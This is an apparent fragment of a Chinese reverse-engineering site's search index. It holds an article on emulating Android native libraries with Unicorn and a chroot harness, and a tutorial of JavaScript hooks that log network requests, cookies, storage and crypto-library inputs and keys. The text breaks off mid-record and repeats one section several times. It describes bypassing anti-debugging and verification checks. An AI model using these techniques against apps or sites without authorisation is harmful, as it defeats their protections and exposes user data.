import * from unicorn.arm64_const import * # 初始化 ARM64 模拟器 mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 定义内存区域 BASE_ADDRESS = 0x40000000 STACK_ADDRESS = 0x70000000 STACK_SIZE = 1024 * 1024 # 1MB 栈空间 # 映射内存 mu.mem_map(BASE_ADDRESS, 2 * 1024 * 1024) # 2MB 用于 SO mu.mem_map(STACK_ADDRESS, STACK_SIZE) # 设置栈指针 (SP) mu.reg_write(UC_ARM64_REG_SP, STACK_ADDRESS + STACK_SIZE) b. 加载 ELF 文件 from elftools.elf.elffile import ELFFile def load_so(mu, so_path): \"\"\"加载 SO 文件到模拟器内存\"\"\" with open(so_path, 'rb') as f: elffile = ELFFile(f) for segment in elffile.iter_segments(): if segment.header.p_type == 'PT_LOAD': vaddr = segment.header.p_vaddr mem_size = segment.header.p_memsz file_size = segment.header.p_filesz data = segment.data() # 将段写入模拟器内存 mu.mem_write(BASE_ADDRESS + vaddr, data) print(f\"Loaded segment at {hex(BASE_ADDRESS + vaddr)} size {hex(mem_size)}\") return BASE_ADDRESS # 加载 SO base = load_so(mu, 'libnative-lib.so') c. 实现函数 Mock # 模拟外部函数地址 MOCK_PUTS_ADDR = 0xFFFFFFFF00001000 # 记录被 Hook 的指令 hooked_instructions = set() def hook_code(mu, address, size, user_data): \"\"\"代码执行 Hook 回调\"\"\" if address in hooked_instructions: return instruction = mu.mem_read(address, size) # 简化 BL 指令检查 (ARM64) if len(instruction) \u003e= 4 and instruction[3] == 0x94: # 计算跳转目标地址 (需要完整解码指令) target_addr = calculate_branch_target(address, instruction) if target_addr == MOCK_PUTS_ADDR: # 1. 读取参数 (ARM64 第一个参数在 X0 寄存器) str_ptr = mu.reg_read(UC_ARM64_REG_X0) # 2. 从模拟器内存中读取字符串 str_val = mu.mem_read(str_ptr, 256).split(b'\\x00')[0] # 3. 执行 Mock 功能 print(f\"[+] puts called with: '{str_val.decode()}'\") # 4. 模拟函数返回 mu.reg_write(UC_ARM64_REG_PC, mu.reg_read(UC_ARM64_REG_LR)) else: print(f\"Warning: Unhandled call to {hex(target_addr)}\") hooked_instructions.add(address) # 在 SO 加载区域设置 Hook mu.hook_add(UC_HOOK_CODE, hook_code, begin=BASE_ADDRESS, end=BASE_ADDRESS + 0x100000) d. 文件系统 Mock SO 文件可能会访问文件系统。通过 Mock fopen、fread 等函数，可以完全控制文件访问： class FileSystemMock: \"\"\"文件系统模拟\"\"\" def __init__(self, rootfs_path): self.rootfs = rootfs_path self.file_handles = {} self.next_fd = 100 def mock_fopen(self, mu, path_ptr, mode_ptr): \"\"\"模拟 fopen\"\"\" # 读取路径参数 path = mu.mem_read(path_ptr, 256).split(b'\\x00')[0].decode() mode = mu.mem_read(mode_ptr, 8).split(b'\\x00')[0].decode() # 映射到本地 rootfs local_path = os.path.join(self.rootfs, path.lstrip('/')) try: handle = open(local_path, mode) fd = self.next_fd self.file_handles[fd] = handle self.next_fd += 1 print(f\"[+] fopen('{path}', '{mode}') = {fd}\") return fd except FileNotFoundError: print(f\"[-] fopen('{path}') failed: file not found\") return 0 def mock_fread(self, mu, buf_ptr, size, count, fd): \"\"\"模拟 fread\"\"\" if fd in self.file_handles: data = self.file_handles[fd].read(size * count) mu.mem_write(buf_ptr, data) return len(data) return 0 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:5:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#d-文件系统-mock"},{"categories":null,"collections":null,"content":"基于 chroot 与 linker 的高级仿真 这是最接近\"真实\"的仿真方式。直接利用从 Android 系统中提取出的 linker64 程序，在受控的 chroot 环境中加载目标 SO。 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:6:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#基于-chroot-与-linker-的高级仿真"},{"categories":null,"collections":null,"content":"核心思路 构建 Android Rootfs: 在 Linux 主机上创建一个最小化的 Android 文件系统 编写加载器 (Loader): 用 C 编写一个程序，chroot 到 Rootfs 中，然后启动 linker64 编写测试桩 (Test Harness): 编写一个程序，加载目标 SO 并调用指定函数 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:6:1","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#核心思路"},{"categories":null,"collections":null,"content":"实现步骤 a. 准备 Android Rootfs # 在 PC 上创建目录结构 mkdir -p ~/android_rootfs/system/lib64 mkdir -p ~/android_rootfs/system/bin mkdir -p ~/android_rootfs/data/local/tmp # 从设备上拉取文件 (以 arm64 为例) adb pull /system/bin/linker64 ~/android_rootfs/system/bin/ adb pull /system/lib64/libc.so ~/android_rootfs/system/lib64/ adb pull /system/lib64/libdl.so ~/android_rootfs/system/lib64/ adb pull /system/lib64/libm.so ~/android_rootfs/system/lib64/ # 将目标 SO 和测试桩程序放入 cp your_target.so ~/android_rootfs/data/local/tmp/ cp your_harness ~/android_rootfs/data/local/tmp/ b. 编写测试桩程序 (harness.c) #include \u003cstdio.h\u003e #include \u003cdlfcn.h\u003e // 假设目标 SO 导出函数: char* process_data(const char* input); typedef const char* (*process_data_func)(const char*); int main(int argc, char *argv[]) { // 在 chroot 环境中，路径是相对于新根目录的 void* handle = dlopen(\"/data/local/tmp/your_target.so\", RTLD_LAZY); if (!handle) { fprintf(stderr, \"Cannot open library: %s\\n\", dlerror()); return -1; } // 获取函数指针 process_data_func func = (process_data_func)dlsym(handle, \"process_data\"); if (!func) { fprintf(stderr, \"Cannot find symbol: %s\\n\", dlerror()); dlclose(handle); return -1; } // 调用函数并打印结果 const char* input = \"hello from harness\"; const char* result = func(input); printf(\"Result from SO: %s\\n\", result); dlclose(handle); return 0; } c. 编写加载器程序 (loader.c) #include \u003cstdio.h\u003e #include \u003cunistd.h\u003e #include \u003cstdlib.h\u003e int main(int argc, char *argv[]) { const char* root_dir = \"/home/user/android_rootfs\"; // 修改为你的 rootfs 路径 if (chroot(root_dir) != 0) { perror(\"chroot failed\"); return 1; } // 进入 chroot 后，'/' 就是之前的 root_dir chdir(\"/\"); // 准备 execve 参数 char *new_argv[] = { \"/data/local/tmp/harness\", // 要执行的程序 NULL }; char *new_envp[] = { \"LD_LIBRARY_PATH=/system/lib64\", // 告诉 linker 在哪里找 .so NULL }; // 使用 linker64 来执行测试桩程序 execve(\"/system/bin/linker64\", new_argv, new_envp); // 如果 execve 成功，这行代码永远不会被执行 perror(\"execve failed\"); return 1; } ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:6:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#实现步骤-1"},{"categories":null,"collections":null,"content":"实现步骤 a. 准备 Android Rootfs # 在 PC 上创建目录结构 mkdir -p ~/android_rootfs/system/lib64 mkdir -p ~/android_rootfs/system/bin mkdir -p ~/android_rootfs/data/local/tmp # 从设备上拉取文件 (以 arm64 为例) adb pull /system/bin/linker64 ~/android_rootfs/system/bin/ adb pull /system/lib64/libc.so ~/android_rootfs/system/lib64/ adb pull /system/lib64/libdl.so ~/android_rootfs/system/lib64/ adb pull /system/lib64/libm.so ~/android_rootfs/system/lib64/ # 将目标 SO 和测试桩程序放入 cp your_target.so ~/android_rootfs/data/local/tmp/ cp your_harness ~/android_rootfs/data/local/tmp/ b. 编写测试桩程序 (harness.c) #include #include // 假设目标 SO 导出函数: char* process_data(const char* input); typedef const char* (*process_data_func)(const char*); int main(int argc, char *argv[]) { // 在 chroot 环境中，路径是相对于新根目录的 void* handle = dlopen(\"/data/local/tmp/your_target.so\", RTLD_LAZY); if (!handle) { fprintf(stderr, \"Cannot open library: %s\\n\", dlerror()); return -1; } // 获取函数指针 process_data_func func = (process_data_func)dlsym(handle, \"process_data\"); if (!func) { fprintf(stderr, \"Cannot find symbol: %s\\n\", dlerror()); dlclose(handle); return -1; } // 调用函数并打印结果 const char* input = \"hello from harness\"; const char* result = func(input); printf(\"Result from SO: %s\\n\", result); dlclose(handle); return 0; } c. 编写加载器程序 (loader.c) #include #include #include int main(int argc, char *argv[]) { const char* root_dir = \"/home/user/android_rootfs\"; // 修改为你的 rootfs 路径 if (chroot(root_dir) != 0) { perror(\"chroot failed\"); return 1; } // 进入 chroot 后，'/' 就是之前的 root_dir chdir(\"/\"); // 准备 execve 参数 char *new_argv[] = { \"/data/local/tmp/harness\", // 要执行的程序 NULL }; char *new_envp[] = { \"LD_LIBRARY_PATH=/system/lib64\", // 告诉 linker 在哪里找 .so NULL }; // 使用 linker64 来执行测试桩程序 execve(\"/system/bin/linker64\", new_argv, new_envp); // 如果 execve 成功，这行代码永远不会被执行 perror(\"execve failed\"); return 1; } ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:6:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#a-准备-android-rootfs"},{"categories":null,"collections":null,"content":"实现步骤 a. 准备 Android Rootfs # 在 PC 上创建目录结构 mkdir -p ~/android_rootfs/system/lib64 mkdir -p ~/android_rootfs/system/bin mkdir -p ~/android_rootfs/data/local/tmp # 从设备上拉取文件 (以 arm64 为例) adb pull /system/bin/linker64 ~/android_rootfs/system/bin/ adb pull /system/lib64/libc.so ~/android_rootfs/system/lib64/ adb pull /system/lib64/libdl.so ~/android_rootfs/system/lib64/ adb pull /system/lib64/libm.so ~/android_rootfs/system/lib64/ # 将目标 SO 和测试桩程序放入 cp your_target.so ~/android_rootfs/data/local/tmp/ cp your_harness ~/android_rootfs/data/local/tmp/ b. 编写测试桩程序 (harness.c) #include #include // 假设目标 SO 导出函数: char* process_data(const char* input); typedef const char* (*process_data_func)(const char*); int main(int argc, char *argv[]) { // 在 chroot 环境中，路径是相对于新根目录的 void* handle = dlopen(\"/data/local/tmp/your_target.so\", RTLD_LAZY); if (!handle) { fprintf(stderr, \"Cannot open library: %s\\n\", dlerror()); return -1; } // 获取函数指针 process_data_func func = (process_data_func)dlsym(handle, \"process_data\"); if (!func) { fprintf(stderr, \"Cannot find symbol: %s\\n\", dlerror()); dlclose(handle); return -1; } // 调用函数并打印结果 const char* input = \"hello from harness\"; const char* result = func(input); printf(\"Result from SO: %s\\n\", result); dlclose(handle); return 0; } c. 编写加载器程序 (loader.c) #include #include #include int main(int argc, char *argv[]) { const char* root_dir = \"/home/user/android_rootfs\"; // 修改为你的 rootfs 路径 if (chroot(root_dir) != 0) { perror(\"chroot failed\"); return 1; } // 进入 chroot 后，'/' 就是之前的 root_dir chdir(\"/\"); // 准备 execve 参数 char *new_argv[] = { \"/data/local/tmp/harness\", // 要执行的程序 NULL }; char *new_envp[] = { \"LD_LIBRARY_PATH=/system/lib64\", // 告诉 linker 在哪里找 .so NULL }; // 使用 linker64 来执行测试桩程序 execve(\"/system/bin/linker64\", new_argv, new_envp); // 如果 execve 成功，这行代码永远不会被执行 perror(\"execve failed\"); return 1; } ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:6:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#b-编写测试桩程序-harnessc"},{"categories":null,"collections":null,"content":"实现步骤 a. 准备 Android Rootfs # 在 PC 上创建目录结构 mkdir -p ~/android_rootfs/system/lib64 mkdir -p ~/android_rootfs/system/bin mkdir -p ~/android_rootfs/data/local/tmp # 从设备上拉取文件 (以 arm64 为例) adb pull /system/bin/linker64 ~/android_rootfs/system/bin/ adb pull /system/lib64/libc.so ~/android_rootfs/system/lib64/ adb pull /system/lib64/libdl.so ~/android_rootfs/system/lib64/ adb pull /system/lib64/libm.so ~/android_rootfs/system/lib64/ # 将目标 SO 和测试桩程序放入 cp your_target.so ~/android_rootfs/data/local/tmp/ cp your_harness ~/android_rootfs/data/local/tmp/ b. 编写测试桩程序 (harness.c) #include #include // 假设目标 SO 导出函数: char* process_data(const char* input); typedef const char* (*process_data_func)(const char*); int main(int argc, char *argv[]) { // 在 chroot 环境中，路径是相对于新根目录的 void* handle = dlopen(\"/data/local/tmp/your_target.so\", RTLD_LAZY); if (!handle) { fprintf(stderr, \"Cannot open library: %s\\n\", dlerror()); return -1; } // 获取函数指针 process_data_func func = (process_data_func)dlsym(handle, \"process_data\"); if (!func) { fprintf(stderr, \"Cannot find symbol: %s\\n\", dlerror()); dlclose(handle); return -1; } // 调用函数并打印结果 const char* input = \"hello from harness\"; const char* result = func(input); printf(\"Result from SO: %s\\n\", result); dlclose(handle); return 0; } c. 编写加载器程序 (loader.c) #include #include #include int main(int argc, char *argv[]) { const char* root_dir = \"/home/user/android_rootfs\"; // 修改为你的 rootfs 路径 if (chroot(root_dir) != 0) { perror(\"chroot failed\"); return 1; } // 进入 chroot 后，'/' 就是之前的 root_dir chdir(\"/\"); // 准备 execve 参数 char *new_argv[] = { \"/data/local/tmp/harness\", // 要执行的程序 NULL }; char *new_envp[] = { \"LD_LIBRARY_PATH=/system/lib64\", // 告诉 linker 在哪里找 .so NULL }; // 使用 linker64 来执行测试桩程序 execve(\"/system/bin/linker64\", new_argv, new_envp); // 如果 execve 成功，这行代码永远不会被执行 perror(\"execve failed\"); return 1; } ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:6:2","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#c-编写加载器程序-loaderc"},{"categories":null,"collections":null,"content":"注意事项 权限要求: chroot 操作需要 root 权限 通信机制: 主机与被仿真进程的通信需要借助文件、管道或 Socket 等 IPC 机制 架构匹配: 需要在相同架构的 Linux 主机上运行（如 ARM64 主机运行 ARM64 SO） ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:6:3","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#注意事项"},{"categories":null,"collections":null,"content":"方案对比与选型 方案 优点 复杂度 适用场景 unidbg (Java) 成熟稳定，JNI 模拟完善，API 简洁，社区活跃 低 快速分析、JNI 函数调用、通用 Android SO 仿真 Python + Unicorn 灵活可定制，完全控制执行流程，跨平台，帮助理解原理 中 纯 Native 算法逆向、安全研究、Fuzzing、学习目的 C + chroot + Harness 保真度最高，性能最好，直接利用系统原生 linker 高 环境要求苛刻的 SO、需要 TLS 初始化、追求极致性能 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:7:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#方案对比与选型"},{"categories":null,"collections":null,"content":"总结 SO 运行时仿真是一项高级但回报巨大的技术。它将逆向分析从繁琐的手工调试和 Hook 中解放出来，带入了自动化、可大规模扩展的新阶段。 关键要点： 核心组件: ELF 加载器 + CPU 模拟器 + 系统库 Mock 推荐工具: unidbg 是最成熟的 Android SO 仿真框架 进阶方案: Python + Unicorn 提供更细粒度控制，chroot 方案提供最高保真度 应用场景: 加密算法分析、签名函数调用、自动化测试、Fuzzing 对于需要频繁调用 Native 函数、分析复杂算法的场景，掌握 SO 仿真技术是必不可少的技能。 ","date":"2025-04-03","objectID":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/:8:0","tags":["Native层","签名验证","Frida","SSL Pinning","高级","加密分析"],"title":"SO 运行时仿真技术","uri":"/reverse_engineering/android/04-reference/advanced/so_runtime_emulation/#总结"},{"categories":null,"collections":null,"content":"JavaScript Hook 脚本 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:0:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#javascript-hook-脚本"},{"categories":null,"collections":null,"content":"概述 Hook（钩子）是逆向工程中最核心的动态分析技术之一。通过运行时劫持(Runtime Interception)原生 API 或自定义函数，可以实现对目标代码的无侵入式监控、参数篡改和行为修改。Hook 技术基于 JavaScript 的动态特性和原型链机制，能够在不修改源代码的情况下改变程序执行流程。 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:1:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#概述"},{"categories":null,"collections":null,"content":"Hook 技术原理 Hook 的本质是函数替换（Function Replacement）和代理模式（Proxy Pattern）。通过以下几种方式实现： 直接替换：保存原函数引用，用新函数替换目标函数 原型链劫持：修改 prototype 上的方法，影响所有实例 属性描述符劫持：使用 Object.defineProperty 拦截属性访问 Proxy 代理：使用 ES6 Proxy 实现更精细的拦截控制 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:1:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-技术原理"},{"categories":null,"collections":null,"content":"应用场景 API 监控: 追踪 XHR/Fetch 请求、Cookie 操作、Storage 访问 加密分析: 捕获加密函数的输入输出，定位密钥和算法 反调试绕过: 屏蔽 debugger 语句和控制台检测 行为修改: 修改函数返回值，绕过验证逻辑 性能分析: 统计函数调用次数和执行时间 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:1:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#应用场景"},{"categories":null,"collections":null,"content":"基础 Hook 模板 ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:2:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#基础-hook-模板"},{"categories":null,"collections":null,"content":"1. Hook 全局函数 // 保存原始函数 const originalFunction = window.targetFunction; // 替换为自定义函数 window.targetFunction = function (...args) { console.log(\"[Hook] targetFunction called\"); console.log(\"[Hook] Arguments:\", args); // 调用原始函数 const result = originalFunction.apply(this, args); console.log(\"[Hook] Return value:\", result); return result; }; ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:2:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#1-hook-全局函数"},{"categories":null,"collections":null,"content":"网络请求 Hook ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:3:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#网络请求-hook"},{"categories":null,"collections":null,"content":"Hook XMLHttpRequest (function () { const originalOpen = XMLHttpRequest.prototype.open; const originalSend = XMLHttpRequest.prototype.send; // Hook open XMLHttpRequest.prototype.open = function (method, url) { this._method = method; this._url = url; console.log(`[XHR] ${method} ${url}`); return originalOpen.apply(this, arguments); }; // Hook send XMLHttpRequest.prototype.send = function (body) { console.log(`[XHR] Request body:`, body); // Hook 响应 this.addEventListener(\"readystatechange\", function () { if (this.readyState === 4) { console.log(`[XHR] Response:`, this.responseText); } }); return originalSend.apply(this, arguments); }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:3:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-xmlhttprequest"},{"categories":null,"collections":null,"content":"Hook Fetch (function () { const originalFetch = window.fetch; window.fetch = function (...args) { console.log(\"[Fetch] Request:\", args); return originalFetch.apply(this, args).then((response) =\u003e { console.log(\"[Fetch] Response:\", response); // Clone response to avoid consuming it return response .clone() .text() .then((body) =\u003e { console.log(\"[Fetch] Response body:\", body); return response; }); }); }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:3:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-fetch"},{"categories":null,"collections":null,"content":"通用网络请求监控 (function () { // Hook XHR const XHR_open = XMLHttpRequest.prototype.open; const XHR_send = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function (method, url) { this._requestInfo = { method, url, time: Date.now() }; console.log(` [XHR] ${method} ${url}`); return XHR_open.apply(this, arguments); }; XMLHttpRequest.prototype.send = function (body) { if (body) { console.log(` [XHR] Body:`, body); } this.addEventListener(\"load\", function () { const duration = Date.now() - this._requestInfo.time; console.log( ` [XHR] ${this.status} ${this._requestInfo.url} (${duration}ms)` ); console.log(` [XHR] Response:`, this.responseText.substring(0, 200)); }); return XHR_send.apply(this, arguments); }; // Hook Fetch const originalFetch = window.fetch; window.fetch = async function (...args) { const startTime = Date.now(); console.log(` [Fetch]`, args[0]); if (args[1]?.body) { console.log(` [Fetch] Body:`, args[1].body); } const response = await originalFetch.apply(this, args); const duration = Date.now() - startTime; console.log(` [Fetch] ${response.status} (${duration}ms)`); // Clone to avoid consuming const clonedResponse = response.clone(); const text = await clonedResponse.text(); console.log(` [Fetch] Response:`, text.substring(0, 200)); return response; }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:3:3","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#通用网络请求监控"},{"categories":null,"collections":null,"content":"Cookie Hook ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:4:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#cookie-hook"},{"categories":null,"collections":null,"content":"监控 Cookie 读写 (function () { let cookieCache = document.cookie; Object.defineProperty(document, \"cookie\", { get: function () { console.log(\" [Cookie] Read:\", cookieCache); console.trace(); return cookieCache; }, set: function (value) { console.log(\" [Cookie] Write:\", value); console.trace(); // 实际写入 Cookie const cookieParts = value.split(\";\")[0]; const [key, val] = cookieParts.split(\"=\"); // 更新缓存 const cookies = cookieCache.split(\"; \"); const index = cookies.findIndex((c) =\u003e c.startsWith(key + \"=\")); if (index !== -1) { cookies[index] = cookieParts; } else { cookies.push(cookieParts); } cookieCache = cookies.join(\"; \"); return value; }, }); })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:4:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#监控-cookie-读写"},{"categories":null,"collections":null,"content":"Storage Hook ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:5:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#storage-hook"},{"categories":null,"collections":null,"content":"Hook LocalStorage (function () { const originalSetItem = localStorage.setItem; const originalGetItem = localStorage.getItem; const originalRemoveItem = localStorage.removeItem; localStorage.setItem = function (key, value) { console.log(` [LocalStorage] Set: ${key} = ${value}`); console.trace(); return originalSetItem.apply(this, arguments); }; localStorage.getItem = function (key) { const value = originalGetItem.apply(this, arguments); console.log(` [LocalStorage] Get: ${key} = ${value}`); return value; }; localStorage.removeItem = function (key) { console.log(` [LocalStorage] Remove: ${key}`); return originalRemoveItem.apply(this, arguments); }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:5:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-localstorage"},{"categories":null,"collections":null,"content":"Hook SessionStorage // 同 LocalStorage，将 localStorage 替换为 sessionStorage (function () { const originalSetItem = sessionStorage.setItem; const originalGetItem = sessionStorage.getItem; sessionStorage.setItem = function (key, value) { console.log(` [SessionStorage] Set: ${key} = ${value}`); return originalSetItem.apply(this, arguments); }; sessionStorage.getItem = function (key) { const value = originalGetItem.apply(this, arguments); console.log(` [SessionStorage] Get: ${key} = ${value}`); return value; }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:5:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-sessionstorage"},{"categories":null,"collections":null,"content":"加密函数 Hook ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:6:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#加密函数-hook"},{"categories":null,"collections":null,"content":"Hook CryptoJS (function () { if (window.CryptoJS) { // Hook MD5 const originalMD5 = CryptoJS.MD5; CryptoJS.MD5 = function (...args) { console.log(\" [CryptoJS.MD5] Input:\", args[0].toString()); const result = originalMD5.apply(this, args); console.log(\" [CryptoJS.MD5] Output:\", result.toString()); debugger; // 自动断点 return result; }; // Hook AES.encrypt const originalAESEncrypt = CryptoJS.AES.encrypt; CryptoJS.AES.encrypt = function (message, key, cfg) { console.log(\" [CryptoJS.AES.encrypt]\"); console.log(\" Message:\", message.toString()); console.log(\" Key:\", key.toString()); console.log(\" Config:\", cfg); const result = originalAESEncrypt.apply(this, arguments); console.log(\" Result:\", result.toString()); debugger; return result; }; // Hook AES.decrypt const originalAESDecrypt = CryptoJS.AES.decrypt; CryptoJS.AES.decrypt = function (ciphertext, key, cfg) { console.log(\" [CryptoJS.AES.decrypt]\"); console.log(\" Ciphertext:\", ciphertext.toString()); console.log(\" Key:\", key.toString()); const result = originalAESDecrypt.apply(this, arguments); console.log(\" Decrypted:\", result.toString(CryptoJS.enc.Utf8)); debugger; return result; }; } })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:6:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-cryptojs"},{"categories":null,"collections":null,"content":"Hook Web Crypto API (function () { const originalSubtle = window.crypto.subtle; const hookCryptoMethod = (methodName) =\u003e { const original = originalSubtle[methodName]; originalSubtle[methodName] = async function (...args) { console.log(` [crypto.subtle.${methodName}]`, args); const result = await original.apply(this, args); console.log(` [crypto.subtle.${methodName}] Result:`, result); return result; }; }; hookCryptoMethod(\"encrypt\"); hookCryptoMethod(\"decrypt\"); hookCryptoMethod(\"sign\"); hookCryptoMethod(\"verify\"); hookCryptoMethod(\"digest\"); })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:6:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-web-crypto-api"},{"categories":null,"collections":null,"content":"JSON Hook ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:7:0","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#json-hook"},{"categories":null,"collections":null,"content":"Hook JSON.stringify (function () { const originalStringify = JSON.stringify; JSON.stringify = function (obj, replacer, space) { console.log(\" [JSON.stringify] Input:\", obj); console.trace(); const result = originalStringify.apply(this, arguments); console.log(\" [JSON.stringify] Output:\", result); return result; }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:7:1","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 脚本","uri":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/#hook-jsonstringify"},{"categories":null,"collections":null,"content":"Hook JSON.parse (function () { const originalParse = JSON.parse; JSON.parse = function (text, reviver) { console.log(\" [JSON.parse] Input:\", text); const result = originalParse.apply(this, arguments); console.log(\" [JSON.parse] Output:\", result); return result; }; })(); ","date":"2025-03-31","objectID":"/reverse_engineering/web/07-scripts/javascript_hook_scripts/:7:2","tags":["Web","RSA","签名验证","Frida","SSL Pinning","代理池"],"title":"JavaScript Hook 